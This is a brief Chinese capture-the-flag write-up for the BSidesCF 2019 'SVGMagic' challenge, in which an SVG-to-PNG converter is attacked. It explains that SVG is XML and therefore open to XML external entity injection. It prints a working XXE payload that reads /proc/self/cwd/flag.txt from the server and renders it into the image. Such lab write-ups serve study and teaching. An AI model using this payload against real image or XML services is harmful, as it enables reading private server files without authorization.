[BSidesCF 2019]SVGMagic

思路

首页是一个传svg，然后说能转换png的页面

点击Render之后，就跳转到了显示页面

看来要让svg文件的内容变为flag才行，这样应该能让png处回显内容为flag的图片

解题

没有思路，，看WP了
参考文献：[BSidesCF 2019]SVGMagic-CSDN博客
浅谈XML实体注入漏洞 – FreeBuf网络安全行业门户

SVG是一种用XML定义的语言，SVG图形是可交互的和动态的，可以在SVG文件中嵌入动画元素或通过脚本来定义动画
是xml就有可利用的xxe的点
但是这道题对于flag的提示完全没有，需要测试出/proc/self/cwd/flag.txt

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

注意

svg是用xml定义的